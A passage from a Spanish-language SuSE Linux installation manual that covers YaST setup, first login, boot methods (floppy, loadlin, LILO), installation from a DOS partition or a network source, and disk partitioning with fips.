nombre y corto (sin espacios, no ms de 8 caracteres), que pueden ser
por ejemplo sus iniciales o tux. En cualquier caso se debe recordar la
contrasea que se introduzca!
 YaST pregunta si se desea configurar el modem. Si realmente existe uno
se puede configurar ahora o tambin en cualquier otro momento. Selec-
cionando `S', YaST pregunta por el puerto serie de ste (Figura 2.15,
Pgina 32). Tngase en cuenta que los Winmodems no funcionan (ver
http://www.suse.de/sdb/de/html/cep_winmodem.html).
 YaST pregunta si se desea ajustar el mouse. Para hacerlo, se elige `S'
y se selecciona el tipo de mouse de la lista (Figura 2.16, Pgina 32). Si

31
2. La primera instalacin de SuSE Linux

Figura 2.15: YaST Seleccin de las interfaces de modem y mouse

Figura 2.16: YaST Seleccin del driver de mouse

hay un mouse conectado al puerto serie, YaST quiere saber en cul est
(Figura 2.15, Pgina 32). Tambin se elige este puerto de la lista.
 Confirmar despus el inicio del programa gpm para cada arranque de sis-
tema (Figura 2.17, Pgina 33). Si posteriormente se presentan problemas
con ello, se puede excluir del fichero de arranque (ver apartado 17.6, Pgi-
na 388).

Si fuera preciso instalar paquetes desde los CDs restantes (ver aparta-
do 2.3.7, Pgina 26), YaST lo hara ahora : : :

32
2.3. Instrucciones de instalacin explcitas

Figura 2.17: YaST Inicio de gpm

YaST pide insertar desde el CD 2 hasta el CD 52 para instalar el


software restante3 .
Despus se finaliza YaST y se debe pulsar 
 - .

Su SuSE Linux est ahora completamente instalado.

2.3.10 Entrar al sistema despus de la primera instalacin


Mientras se ejecutan diversos scripts de configuracin en segundo plano, `root'
ya se puede entrar al sistema como usuario `root'; p. ej. en la consola 1
(ver apartado 19.1, Pgina 411). Por detrs del mensaje "Login:", se Login:
escribe root y cuando se pida la contrasea ("Password:"), se introduce la Password:
contrasea definida anteriormente para el usuario `root' (ver apartado 2.3.9,
Pgina 31) No se debe confundir esta contrasea con la del usuario de
ejemplo!
El Prompt de Linux aparece y se puede comenzar a trabajar:
tierra: #
Por ejemplo, se puede introducir ls -a para ver el listado de los ficheros en
el directorio de trabajo.
tierra: # ls -a

Cuando YaST (yast) arranca se pueden generar usuarios adicionales us-


ando la opcin del men `Administracin de sistema'. Se sigue con
la opcin `Configurar XFree86TM' la cual permite configurar la super-
ficie grfica (ver apartado 9.1, Pgina 220).
2
Solo hace falta introducir el CD 5, si se ha pedido explcitamente la instalacin del cdigo
fuente (ingl. sources) por lo general este no es el caso.
3 Si tiene SuSE Linux en DVD no hace falta preocuparse de nada ya que todo viene incluido en

un DVD.

33
2. La primera instalacin de SuSE Linux

Como ya se coment en la introduccin, estas Instrucciones de instalacin no


incluyen explicaciones sobre el uso del sistema SuSE Linux. Sin embargo,
en el Captulo 19, Pgina 411, con el ttulo Introduccin a Linux se encuen-
tran algunos conceptos bsicos la bibliografa menciona algunos libros en
materia de Unix ms avanzada (ver Pgina 486). Algunos de estos libros se
describen con ms detalle en http://www.suse.de/buecher/.

En segundo plano se ejecutan scripts de configuracin automticos (Indi-


cacin de las manpages, configuracin de perl, etc.); en computadoras
menos potentes este procedimiento puede durar segn el tamao de la
instalacin hasta ms de una hora. Si se llegara a apagar la computa-
dora prematuramente, YaST se ejecutar automticamente en el prximo
arranque del sistema.
Los mencionados scripts se han ejecutado por completo cuando aparece en
la Consola9:
Have a lot of fun!
  
(Cambiar la consola con Alt 
+ F9 
)

Despus de la instalacin se pueden efectuar ms configuraciones.


 `Entorno grfico El aspecto general del entorno grfico Sistema
X Window, se cubre en el Captulo 9. La configuracin del mismo con
SaX se detalla en el apartado 9.1.
 `Impresora El Captulo 12 incluye una lista de las impresoras sopor-
tadas y explica su configuracin.
Para conocer la configuracin fcil con YaST, consultar el apartado 3.7.1.
 `Acceso Internet La configuracin del acceso a Internet se detalla en
el Captulo 7. Si se realiza va modem, consultar el apartado 7.1 y si es
va RDSI, el apartado 7.2.
 `Red El Captulo 6 expone las posibilidades de configuracin de una
red.

Para acoplar un red interna con una conexin RDSI se requieren


conocimientos avanzados sobre redes. Busque en libros especializados
bajo las palabras clave Gateway (pasarela) o Router (enrutador).

34
2.4. Cmo se debe arrancar Linux?

2.4 Cmo se debe arrancar Linux?


El sistema SuSE Linux est ahora instalado casi por completo. Lo que falta
por aclarar es cmo se desea arrancar SuSE Linux en el uso diario (Arran-
car).
El siguiente resumen muestra las principales posibilidades de arrancar Linux.
El mtodo de arranque que ms se adapta a sus necesidades, depende del
grado de experiencia que se tenga usando computadoras y tambin del tipo
de uso.

Disquete de arranque: Para arrancar Linux con el disquete de arranque.


Esta posibilidad siempre funciona y no representa ningn trabajo ya que
se acaba de generar este disquete (concretamente en el apartado 2.3.9,
Pgina 30 en adelante). Con el tiempo, el uso de un disquete de arranque
resulta algo tedioso.
El disquete es una buena solucin intermedia si no se tiene en el momento
otra posibilidad o si se prefiere postergar la decisin sobre este tema.
Tambin en combinacin con OS/2 o Windows NT el uso del disquete
de arranque puede representar una buena solucin.
loadlin: La variante con loadlin presupone:
 La computadora tiene que estar bajo DOS en modo real o en el modo
virtual del 8086 teniendo activado un servidor VCPI 4 . Dicho de otra
manera: Se trata de una solucin que no funciona bajo Unix, OS/2,
Windows NT o en una ventana DOS de Windows 95/98 pero s que
funciona bien desde el prompt de MS-DOS o desde el modo DOS de
Windows 95/98.
 El ordenador debe tener suficiente memoria libre en DOS: Por debajo
del lmite de 640 KB hace falta un mnimo de 128 KB, el resto puede
ser memoria extendida EMS/XMS.
Aunque su instalacin es un poco complicada, loadlin se puede integrar
fantsticamente en los mens de arranque de Windows 95 y 98. Esto exige
editar manualmente ficheros de configuracin. La gran ventaja es que no
se modifica el sector de arranque MBR (ingl. Master Boot Record). De
esta manera, los dems sistemas operativos no ven ms que una particin
con anotaciones, como huella de Linux.
Para instalar loadlin, se requieren ciertos conocimientos de DOS y de
Linux. Se debe saber cmo generar con un Editor los ficheros de con-
figuracin necesarios. En el apartado 4.9 hay detalles sobre este proced-
imiento. Es posible que se presenten problemas si se equivoca config-
urando los mens de arranque de Windows 95/98; en caso extremo, ya
no se podra acceder a la instalacin de Windows. Antes de configurar
los mens de arranque se debe comprobar que el sistema se carga con un
disquete de arranque de Windows.
LILO: La solucin ms limpia desde un punto de vista tcnico y ms uni-
versal, es el uso del gestor de arranque LILO que permite seleccionar
4 Un servidor VCPI proporciona p. ej. emm386.exe

35
2. La primera instalacin de SuSE Linux

entre distintos sistemas operativos antes de arrancar. Su instalacin me-


diante YaST es sencilla (ver el apartado 3.7.2, Pgina 94). Ciertamente
LILO tiene que estar presente en el sector de arranque del disco duro, lo
que implica un pequeo riesgo. El tratamiento de un posible error ex-
ige conocimientos bsicos del proceso de arranque. Es necesario saber
editar por algn caso el fichero principal de configuracin de LILO.
Tambin es conveniente saber antes de la instalacin, cmo desinstalar de
vuelta LILO. Hay ms detalles acerca de LILO y del proceso de arranque
en el apartado 4.3. Sigue siendo as que LILO representa la mejor forma
de arrancar. Sencillamente se ha de tener en cuenta que la instalacin
de LILO es ms complicada que, por ejemplo, el uso de un disquete de
arranque.
Por su creciente importancia, algunos fabricantes y comerciales de gestores
de arranque, tienen en cuenta a Linux. En primer lugar se deben mencionar
los programas System Commander Deluxe o Partition Magic. A parte de
simples ayudas durante el arranque de sistema, estos paquetes tambin ofre-
cen funciones como el cambio de tamao de particiones (existentes) del tipo
FAT32 o el cambio de FAT16 a FAT32. Estos programas no forman parte de
los CDs y no podemos prestar soporte de instalacin al respecto.
Se puede encontrar una explicacin exhaustiva sobre los diferentes mtodos
de arranque y en especial sobre LILO y loadlin en el Captulo 4, Pgina 105
en adelante.

36
2.5. Instalacin sin soporte del lector CD-ROM

2.5 Instalacin sin soporte del lector CD-ROM


Qu hacer si no es posible efectuar una instalacin estndar a travs de un
lector CD-ROM? El lector CD-ROM podra ser uno de los modelos propi-
etarios antiguos para los que no siempre existe soporte. Tambin es posible
que no se tenga una unidad CD-ROM en una segunda computadora (p. ej. un
porttil) pero que s se tenga una tarjeta Ethernet o un cable PLIP : : :
SuSE Linux ofrece tambin la posibilidad de instalar el sistema en una com-
putadora de tales caractersticas:
 Desde una particin DOS (apartado 2.5.1, Pgina 37).
 A travs de una conexin de red Ethernet tipo NFS o FTP o va PLIP
(apartado 2.5.2, Pgina 39).

2.5.1 Instalacin desde una particin DOS

De qu se trata?
Se puede copiar el software de Linux (parcialmente) antes de la instalacin,
en una particin DOS del disco duro, cuando el kernel estndar no soporta
la unidad CD-ROM o bien, cuando por parte de Linux no existe soporte para
ste. En el ltimo caso, no se podr usar el CD-ROM con Linux.

Requisito / Situacin
Se trabaja bajo DOS, Windows o OS/2 y se sabe que Linux no soporta el
lector CD-ROM. Por otra parte, hay suficiente espacio en la particin de DOS,
OS/2 o Windows (3.11 o 95/98).
En un principio solo se copian los paquetes del sistema bsico.

Paso por paso : : :


Para copiar todos los ficheros deseados en el disco duro, se procede de la
siguiente manera:
1. Generar un directorio que sirva de traspaso. El nombre no tiene impor-
tancia; en este ejemplo se llama \pepe.
2. Por debajo de \pepe se necesita el directorio suse y dentro de ste, como
mnimo, los directorios a1, images y setup. Estos se necesitan para la
instalacin del sistema Linux base. El rbol de directorios necesario se
muestra en la Figura 2.18, Pgina 38.
3. Copiar los ficheros de \suse\a1 del CD 1 en \pepe\suse\a1, en el
disco duro.
4. Seleccionar en \suse\images un kernel que soporte el hardware. El
fichero \suse\images\readme.dos indica cul kernel soporta qu tipo
de hardware.
Se procede entonces a copiar el kernel en \pepe\suse\images. Un
kernel se compone de 4 ficheros (ver arriba): el kernel sin extensin y
los ficheros con las extensiones .ikr, .inf y .map. Si hay suficiente
espacio en el disco duro, se pueden copiar tambin todos los ficheros,
evitndose por el momento la seleccin del kernel. Hay ms informacin
sobre este tema en el apartado 2.7.4, Pgina 50.

37
2. La primera instalacin de SuSE Linux

Necessary directories

suse a1 Base system (series a)

images root root image

scsi1 Bootkernel image

setup descr Description files

du Description of sizes

loadlin.exe Linux loader (loadlin)

xap1

xwm1

Other directorties with optional series

Figura 2.18: Estructura de directorios para la instalacin

5. Por razones de seguridad conviene copiar los ficheros


\suse\images\root y \suse\images\initdisk.gz en
\pepe\suse\images.
6. Copiar \suse\setup\loadlin.exe en \pepe\suse\setup.
7. Por lo dems, solo hace falta copiar el fichero \suse\setup\inst-img
en \pepe\suse\setup. Este fichero es relativamente grande, pero so-
lamente se necesita para la instalacin base. Una vez que se ejecute el
sistema base, se puede proceder en cualquier momento a instalar paque-
tes individuales desde la particin DOS; el fichero inst-img ya no se
necesita.
8. Crear ahora el directorio \pepe\suse\setup\descr en el disco duro y
copiar en l todos los ficheros del directorio \suse\setup\descr.
9. Si an queda suficiente espacio en el disco duro, tambin se puede crear
el directorio \pepe\suse\setup\du y copiar en l todos los ficheros
de \suse\setup\du. Estos ficheros no son absolutamente necesarios,
pero ms tarde permitirn a YaST efectuar clculos sobre el tamao del
software a instalar o del software ya instalado. Si realmente queda espacio
resultan bastante tiles.
10. Ahora ya se tiene todo lo necesario para un sistema Linux base en la
particin DOS del disco, pero todava falta el resto del software. Ya
que Usted pertenece al conjunto de personas cuyo lector CD-ROM no
es soportado por Linux, debe ir instalando todo en porciones: primero al
disco duro, instalar desde all con YaST y finalmente borrarlo otra vez
del disco. No hace falta hacerlo de inmediato, pero si ya sabe lo que
quiere, entonces: Adelante! Cree un directorio bajo \pepe\suse y copie

38
2.5. Instalacin sin soporte del lector CD-ROM

en l los ficheros correspondientes. Todo lo que hay se encuentra en la


descripcin de los paquetes o en la documentacin en lnea del CD.

Ahora se puede comenzar la instalacin como se ha explicado en el aparta-


do 2.3.2, Pgina 18.
Si linuxrc pregunta por la Fuente de instalacin (apartado 2.3.3, Pgi-
na 19), se debe indicar `Disco duro' y responder a la pregunta sobre la
particin con el Device correspondiente de la particin DOS. Esto es por lo
general /dev/hda1 o /dev/sda1, si DOS se encuentra en la primera parti-
cin primaria.
En caso de haber adoptado la nomenclatura propuesta arriba, se debe indicar
el nombre pepe en la prxima pregunta sobre el Directorio fuente. La
instalacin contina entonces tal como se ha detallado en el apartado 2.3.4,
Pgina 23.

2.5.2 Instalacin desde una fuente en la red


El soporte no cubre esta va de instalacin (ver apartado H.1.2, Pgina 481).
Solo los usuarios experimentados deberan usar este medio de instalacin.

De qu se trata?
La computadora en la cual se quiere instalar SuSE Linux no tiene ningn
lector CD-ROM y tampoco existe una particin DOS que se pueda usar para
el traspaso de ficheros. Por otra parte, se puede instalar una conexin va red
a otra computadora que tenga un lector CD-ROM o en cuyo disco duro haya
una copia del CD, como se ha explicado en el apartado 2.5.1, Pgina 37. La
otra computadora debe ser capaz de exportar los datos adecuadamente!

Paso por paso : : :


1. Comenzar la instalacin como se ha explicado en el apartado 2.3.2, Pgi-
na 18.
2. Seguir los pasos de la instalacin como se ha indicado en el aparta-
do 2.3.3, Pgina 19 pero:
 Al llegar a la opcin del men `Mdulos de kernel', cargar el driv-
er de red adecuado (opcin `Driver de red'). Esto no es necesario
si se quiere instalar va PLIP.
 Cuando linuxrc pregunte por la `Fuente de instalacin', selec-
cionar `Red (NFS)' y proceder con la configuracin de red. Tambin
existe la posibilidad de instalar va FTP.
3. Finalizar la instalacin como se ha explicado en el apartado 2.3.4, Pgi-
na 23 en adelante.

Posibles problemas
 La instalacin termina antes de haber comenzado realmente: El directorio
de instalacin de la otra computadora no se export con derechos de
ejecucin (exec) se ha de modificar esto.

39
2. La primera instalacin de SuSE Linux

 El servidor desconoce la computadora en la que SuSE Linux debe ser


instalado. Introducir al fichero /etc/hosts del servidor, el nombre y la
direccin IP de la computadora nueva.

40
2.6. Otra va de instalacin: Con setup y loadlin

2.6 Otra va de instalacin: Con setup y loadlin

2.6.1 Activar modo DOS de Windows 95


La computadora bajo DOS debe estar en el modo real (ingl. real-mode) para
poder arrancar el programa de instalacin Setup.
El programa de instalacin Setup.exe llama a un programa basado en MS-
DOS denominado loadlin. Este programa solo es capaz de cargar el Linux
originario en la memoria y arrancarlo si el procesador se encuentra en modo
real o bien si un servidor VCPI 5 est activo cuando el procesador est en el
modo virtual del 8086. La ventana DOS de Windows 95 corre en el modo
virtual del 8086, pero no proporciona ningn servidor VCPI; por lo tanto,
setup no funciona en la ventana DOS.

Paso por paso : : :


Hay dos posibilidades: Cambiar al modo DOS desde Windows 95/98 o entrar
al modo DOS directamente en el momento de arrancar.
Si Windows 95/98 ya se ejecuta, seleccione `Inicio'-`Apagar sistema'-
`Reiniciar equipo en modo MS-DOS'.

Si ya se encuentra en el proceso de arranque, pulse F8 durante el arranque
de Windows 95 y seleccione despus `Slo smbolo de sistema'.

Posibles problemas
Se pueden presentar problemas si no est definida la distribucin espaola del
teclado y si el driver del CD-ROM no est cargado:

 En modo DOS no funcionan las tildes y los caracteres especiales. Con-


sultar el apartado 2.8.2, Pgina 52.
 En modo DOS no se puede leer la unidad CD-ROM. Consultar el aparta-
do 2.8.3, Pgina 52

2.6.2 Arrancar Setup y su primera parte


El programa Setup.exe prepara el arranque del Linux originario. Ahora se
arranca este programa y se ejecuta hasta el punto en que se debe decidir entre
dos posibilidades de arranque para el Linux originario.
Se ha arrancado MS-DOS o una ventana de MS-DOS que no se encuentra en
modo protegido; el primer CD est en el lector y hay acceso al lector de CDs.
Mediante el programa Setup.exe se podr ejecutar un Linux originario que
posteriormente se encargar de realizar realmente la instalacin de Linux.
Ahora es cuando se arranca Setup.exe y se ejecuta hasta el momento de tener
la opcin entre dos diferentes maneras de arranque para el Linux originario.
Estas posibilidades son: Disquete de arranque o con loadlin directamente
desde el CD/disco duro.
5 Un servidor VCPI proporciona p. ej. emm386.exe.

41
2. La primera instalacin de SuSE Linux

Paso por paso : : :


La primera parte de Setup se llevar a cabo del siguiente modo:

1. Arrancar con setup en el directorio raz del CD.


2. Seleccionar el idioma de dilogo para pasar por Setup.
3. Introducir la letra de unidad del lector CD-ROM, p. ej. E. Tal vez esta
letra ha sido cambiada a causa de una particin adicional de DOS.
 .
4. Setup.exe saluda ahora, as que podemos responder a tanta amabilidad
presionando suavemente  - 
5. Los siguientes apartados tratan sobre cmo arrancar el Linux originario.
Para este tema se requiere tomar ms decisiones (apartado 2.6.3, Pgi-
na 42) que se comentarn posteriormente.

2.6.3 Cmo se arranca el Linux originario desde setup?


Hay exactamente dos posibilidades para arrancar el Linux originario a par-
tir del programa setup: Usando disquetes o con la ayuda de loadlin directa-
mente desde el CD. A continuacin se elegir una de la dos vas.

Informacin adicional
La va ms simple y cmoda es naturalmente la del arranque del Linux orig-
inario directamente desde el CD. Para ello se recurre al programa de DOS
loadlin.exe. Este programa carga un fichero con el Kernel de Linux desde
el CD a la memoria, prepara la carga de un RAM-disk y comienza despus
a ejecutar el cdigo del kernel. Esto solo funciona si la computadora se en-
cuentra en modo real o cuando est en modo virtual del 8086 con un servidor
VCPI6 activo. Esto significa que las ventanas DOS de OS/2 o Windows NT
no funcionan para este fin.
Arrancar desde un disquete siempre funciona pero resulta algo ms complica-
do y tarda ms. Atencin: Cuando hablamos aqu de disquetes, nos referimos
a los disquetes que se generan con setup. Ms fcil es, evidentemente, usar
el disquete de arranque de SuSE (o el arranque directo del CD), pero aqu no
se trata de esto, sino de decidirse entre generar disquetes con setup o cargar
el kernel directamente con loadlin.

Recomendacin
Decdase por loadlin cuando sea posible o sea, cuando no se trabaja ni bajo
OS/2 ni bajo Windows NT. En caso de duda, se aconseja probar simplemente.
Si no tuviera xito, se puede comenzar otra vez con el apartado 2.6.2, Pgi-
na 41 y seleccionar la va para generar disquetes.

2.6.4 Instalar loadlin y arrancar Linux originario


En este apartado se instala y se usa loadlin.exe, con el cual se cargar y
arrancar un kernel de Linux para luego ejecutar el Linux originario.
6 Un servidor VCPI proporciona p. ej. emm386.exe.

42
2.6. Otra va de instalacin: Con setup y loadlin

Requisito / Situacin
Si realmente se ha hecho todo hasta aqu y se desea ver el primer signo de vida
de Linux en la pantalla, entonces ya se han cumplido todos los requisitos!

Informacin adicional
La eleccin del kernel depende bsicamente de la adaptadora SCSI y del dis-
co duro, o bien, del tipo de controladora que se usa. Si el sistema solamente
se apoya en una controladora (E)IDE no hace falta quebrarse la cabeza es-
cogiendo el kernel. Ms tarde se podr escoger uno diferente o, mejor an,
compilar un kernel propio hecho a medida de la computadora. Para mayor
informacin, ver el apartado 2.7.4, Pgina 50.
Ahora Setup genera en su particin DOS el directorio \loadlin que ser
el encargado de acoger los programas setup.exe, loadlin.exe; el fichero
Linux.bat y el kernel escogido bajo el nombre zimage. Arrancando de-
spus de esta primera instalacin se llama al fichero Linux.bat (si se efecta
esta llamada es necesario introducir como parmetro la particin de root);
este tema se abarca en el apartado 2.11.2, Pgina 68. Al final de este paso se
procede a cargar y a arrancar el kernel.

Paso por paso : : :


Para instalar loadlin y arrancar el Linux originario, se procede de la sigu-
iente manera:
1. Seleccionar la opcin `loadlin' y pulsar  - 
 
.
 . Si
2. Esta pantalla muestra la cantidad de memoria RAM que tiene la computa-
dora. Generalmente este valor es correcto y se afirma pulsando  - 
la cantidad de RAM no fuera correcta, se debe corregir.
3. Ahora se debe saber si Linux soporta el lector CD-ROM. Esta pregunta
ya fue contestada responda de igual forma que en el apartado 2.7.6.
 Si Linux soporta el lector CD-ROM, se pulsa 
 - y listo!.

 Si Linux no soporta el lector CD-ROM no pasa nada, porque ya se
 
han copiado (apartado 2.5.1, Pgina 37) los ficheros en el disco duro.
Seleccionar ahora la opcin `Disco duro' y pulsar  - . Seguida-
mente introducir el path en el cual se haba copiado el directorio suse.
En el ejemplo del apartado 2.5.1, Pgina 37 se us \pepe, por tanto
se debe escribir \pepe. No hace falta indicar el directorio por debajo
(suse).
4. Ahora se debe elegir un kernel adecuado. Si se ha respondido en el
apartado 2.7.6, Pgina 51 que Linux no soporta la unidad CDROM y,
 . Para seleccionar el kernel correcto se recomienda
si se ha copiado (apartado 2.5.1, Pgina 37) un kernel al disco duro,
entonces se pulsa  - 
leer el apartado 2.7.4, Pgina 50.
5. En este paso se tratan los parmetros del kernel. Por cada lnea se indica
un parmetro, una lnea en blanco significa listo. Qu parmetros poner?
En el apartado 2.7.5, Pgina 50 hay indicaciones detalladas sobre los
parmetros.

43
2. La primera instalacin de SuSE Linux

6. La siguiente pantalla pregunta si se desea instalar el programa loadlin.


Esto se afirma con `S'. Setup genera entonces el directorio \loadlin
y copia los ficheros en l.
7. Ahora se arranca el Linux originario usando la opcin `Cargar
Linux'. Haciendo sto pasarn alrededor de dos pginas de texto por la
pantalla que genera el kernel. Si todo va bien, el programa linuxrc enva
    
un saludo. Tambin se puede leer con tranquilidad el texto generado por
el kernel, usando las teclas Shift + Bild " y Shift + Bild # para
repasarlo de arriba a abajo.

Posibles problemas
Aqu se pueden presentar problemas en dos puntos diferentes: loadlin no se
puede cargar o no puede arrancar el kernel, o bien, el kernel tiene problemas
con el hardware.
 loadlin no tiene suficiente memoria para cargar el kernel. Consultar:
apartado 2.8.9, Pgina 55.
 loadlin no puede arrancar el kernel, la computadora corre en el modo
virtual del 8086 y no hay ningn servidor VCPI disponible. Consultar:
apartado 2.8.11, Pgina 55.
 loadlin no funciona: Consultar apartado 2.8.10, Pgina 55.
 El CD-ROM es defectuoso: Consultar apartado 2.8.4, Pgina 53.
Ahora la instalacin contina como se ha explicado en el apartado 2.3.3,
Pgina 19.

44
2.7. Bloques de informacin

2.7 Bloques de informacin


2.7.1 Hacer espacio para Linux (particionar)
La idea es preparar el disco duro para alojar nuevas particiones Linux.
Esperamos que se tenga un poco de tiempo para repasar este apartado con
tranquilidad; es recomendable tener un par de disquetes o cintas para un
respaldo o copia de seguridad y tambin un disquete de arranque del sistema
operativo actual.

Informacin adicional
Particionando se puede dividir un disco duro en varias zonas que son bastante
independientes entre s. Una buena razn para generar varias particiones
es la posibilidad de la coexistencia de varios sistemas operativos con sus
correspondientes sistemas de fichero en un solo disco duro.
Cmo generar entonces espacio para particiones de Linux?
 Es posible borrar por separado particiones del disco duro; con esta op-
eracin se pierden todos los ficheros que se encuentran en ella. El espacio
que se libera de este modo en el disco estar entonces a disposicin para
una nueva particin (p. ej. Linux) o bien para varias.
 Tambin es posible asignar particiones concretas a otros sistemas opera-
tivos pero se perdern todos los ficheros de la particin como si se estu-
viera borrando.
 Bajo MS-DOS o Windows 95/98 es posible disminuir el tamao de la
ltima particin del disco sin prdida de ficheros. Antes de particionar
es necesario usar un programa de defragmentacin para que todos los
ficheros se siten al comienzo de sta. Si solo existe una particin de
MS-DOS o de Windows, resulta sencillo con este mtodo, hacer espacio
para particiones Linux. Despus de la defragmentacin se pueden usar
programas especiales p. ej. el programa freeware fips para disminuir
el lmite superior del cilindro y as achicar el tamao de la particin. fips
se encuentra en el CD 1 en el directorio dosutils.
 Un mtodo muy cmodo, si bien acompaado de costes, es el de la insta-
lacin de un disco duro adicional.

Al modificar particiones es necesario trabajar cuidadosamente, vigilando


las instrucciones del software a tal efecto. No obstante, pueden apare-
cer problemas que provoquen la prdida completa de todos los datos! En
SuSE no nos podemos responsabilizar del buen funcionamiento de la parti-
cin del disco. En todo caso es muy recomendable hacer copias de seguri-
dad, como mnimo de los ficheros ms importantes y preparar un disquete
de arranque.

Paso por paso : : :


Para particionar el disco duro se hace lo siguiente:
1. Se debe saber cuntas particiones hay en el disco y qu tamao tienen.
Para averiguarlo se usa el programa fdisk del sistema operativo.

45
2. La primera instalacin de SuSE Linux

2. Planificar la cantidad de particiones requeridas y sus tamaos. La infor-


macin al respecto est en el apartado 2.9, Pgina 59 y en el apartado 2.10,
Pgina 60.
3. Apuntar el plan de particiones en un papel ya que se necesitarn estos
datos varias veces durante la instalacin.
4. En este momento se recomienda encarecidamente hacer un respaldo de
todos los ficheros en el disco duro. Si no se tiene una unidad de cinta
(ingl. streamer) y tampoco se quiere salvar todo en disquetes, entonces
como mnimo se han de salvar los datos ms importantes y los ficheros
de arranque y de configuracin (p. ej. config.sys, autoexec.bat y *.
ini). Generar un disquete de arranque para el sistema operativo actual y
probar si se puede arrancar con ste. En este disquete de arranque tambin
se necesita un par de herramientas como p.ej. un editor, el programa de
particionar fdisk y el programa para hacer respaldos.
5. Se contina de acuerdo a la configuracin:

DOS/Windows 95/98, una particin en el disco duro y, sin respaldo


completo (ingl. File-Backup)
Hace falta disminuir el tamao de la particin sin producir prdida de
datos. Para ello, se mueven todos los datos al comienzo de la particin;
con este fin se puede usar p. ej. el programa Defrag (MS-DOS 6 o Win-
dows 95/98).
Los programas de defragmentacin no suelen mover ficheros escondidos
ni ficheros de sistema, ya que estos pueden estar anclados en un sitio
definido del disco duro a causa de una proteccin de copia. Cuando se
est seguro de no tener tales ficheros en el disco, se pueden desactivar
los atributos oculto o sistema en todos los ficheros que los tengan
activados o, segn el programa de defragmentacin usado, ajustar unos
parmetros y forzar la defragmentacin de estos ficheros.
El fichero de intercambio (swap) de Windows tambin es un fichero
oculto. Si est mal colocado se debe desactivar bajo Windows en la
Configuracin de sistema.
Si finalmente se consigue suficiente espacio al final de la particin, dir-
jase entonces al directorio \dosutils\fips\fips15 del primer CD. Al-
l se encuentra el programa fips.exe que permite disminuir el tamao de
la particin.
Antes de arrancar este programa, conviene estudiar las instrucciones am-
plias que se encuentran en el mismo directorio, ya que se trata de un tema
un poco delicado. Por lo dems, cabe sealar que fips.exe solamente
se ejecuta bajo DOS as que tendr que finalizar Windows o llevar Win-
dows 95/98 al modo DOS (ver tambin apartado 2.6.1, Pgina 41).
Despus de ejecutar fips.exe se tiene una segunda particin en el disco
duro, la cual se particionar luego para Linux.

Tambin se puede achicar particiones del tipo fat32 usando fips.exe del
directorio \dosutils\fips\fips20.Antes de utilizar esta versin de
FIPS, se debe hacer en todo caso un respaldo de los datos!

46
2.7. Bloques de informacin

DOS/Windows 95/98 y varias particiones y, un respaldo completo de


los datos (ingl. File-Backup)
Al borrar la particin DOS generndola despus con tamao reducido, se
pierden todos los datos contenidos en ella, as que se necesita un respaldo
de ficheros previo; no es suficiente un respaldo de la imagen del disco
(ingl. Image backup). Con fdisk se borran todas las particiones antiguas
y se generan las nuevas. El prximo paso consiste en formatear la(s)
particin(es) e instalar el sistema operativo, copiando todos los ficheros
desde el respaldo.

OS/2
Existen las siguientes posibilidades:
 Se disminuye el tamao de la(s) particin(es) OS/2. Para ello se hace
un respaldo de todos los ficheros en la particin OS/2, se borran las
particiones con el programa OS/2 -fdisk y se generan otra vez pero
ms pequeas. El espacio liberado se usar luego para las particiones
de Linux.
 Se quiere usar Linux en lugar de OS/2? Entonces no se hace nada
ahora. Ms tarde se cambia con YaST el tipo de particin a particin
Linux o se borran las particiones OS/2, generando en su lugar parti-
ciones Linux.
 Se adquiere un nuevo disco duro. Este se particionar y se formatear
luego con YaST.

Unix/Linux
Ya existe una particin adecuada para un sistema Linux y no se tendr
que excluir o eliminar nada a ningn sistema operativo. Use el disquete
de arranque de SuSE o el CD 1 y particione despus con YaST.
6. Arrancar la computadora desde cero.
7. Comprobar ahora si el sistema operativo funciona correctamente. Con
YaST se puede generar despus la particin Linux en el espacio del disco
que se acaba de obtener.

Posibles problemas
Se pueden presentar los siguientes problemas:
 No es posible achicar la particin lo suficiente, ya que existen algunos
ficheros o bloques inamovibles: ver el apartado 2.8.1, Pgina 52.
 El lector CD-ROM tiene ahora una letra de unidad diferente usando DOS
o Windows. Bajo Windows 95/98 se cuelga el escritorio: ver el aparta-
do 2.8.14, Pgina 56.

47
2. La primera instalacin de SuSE Linux

2.7.2 Crear un disquete de arranque bajo DOS

Requisito
Se necesita un disquete HD de 3.5 pulgadas, formateado y la disquetera cor-
respondiente que permita el arranque. Trabajando bajo Windows 95/98 no se
arranca setup en una ventana MS-DOS pero s en modo MS-DOS!

Informacin adicional
En el CD 1 del directorio /disks hay un par de imgenes de disquetes (in-
gl. Images). Es posible copiar una de estas imgenes, mediante una utilidad
especial, a un disquete que se convierte entonces en un disquete de arranque.
Estas imgenes de disquete contienen tambin el Loader Syslinux y el pro-
grama linuxrc. El programa Syslinux permite seleccionar un kernel durante
el arranque y pasar parmetros al hardware. El programa linuxrc presta
asistencia cuando se cargan mdulos del kernel especiales para el hardware y
finalmente inicia la instalacin.
Normalmente se puede usar el disquete de arranque suministrado para arran-
car la mquina. Solo en el caso de tener un hardware un tanto extico,
que no sea soportado por el kernel de este disquete, es necesario generar un
disquete de arranque del modo en que se explica en este apartado.

Con Setup

Paso por paso : : :


Para crear un disquete de arranque se hace lo siguiente:

 , despus `Boot/Arranque'
1. Poner en marcha Setup directamente desde el CD 1.
2. Seleccionar la opcin `Floppy' y pulsar  - 

y de nuevo  - 

.
3. Ahora se debe elegir un disquete con un kernel adecuado que soporte
p. ej. la adaptadora SCSI. Setup muestra los datos ms importantes sobre
los diferentes kernels. Si se necesitara informacin adicional, se puede
consultar el fichero \disks\readme.dos o el apartado 2.7.4, Pgina 50.
Recuerde
. el nombre del kernel ya que lo necesitar luego. Despus pulse
  -

4. Ahora se graba el disquete. Insertar un disquete de 3.5 pulgadas dentro de


la disquetera (debe llevar formato DOS) y seleccionar el tipo de disquete
que se quiere generar.
 Solo se necesita el disquete de arranque Boot (en SuSE Linux
ya no es necesario el disquete `Root'). Colocar el cursor sobre
 
`Boot/Arranque' y pulsar  - .
  . Ahora se procede a grabar el disquete.
Setup pide reconfirmar que se ha insertado un disquete. Pulsar otra
vez  - 
  - .
Cuando la grabacin est lista, se presiona  
 Seleccionar la opcin `Listo', para salir de la pantalla y de Setup.

48
2.7. Bloques de informacin

Con rawrite
Otra posibilidad para escribir el disquete en el prompt de DOS es el programa
DOS rawrite.exe (que resulta un poco ms lento). Se encuentra en el CD 1,
directorio \dosutils\rawrite.
Las imgenes estndar de disquetes de arranque se encuentran en el CD 1, di-
rectorio /disks; all se puede leer el fichero README. Las imgenes eide01
o scsi01 son los patrones para los disquetes estndar.
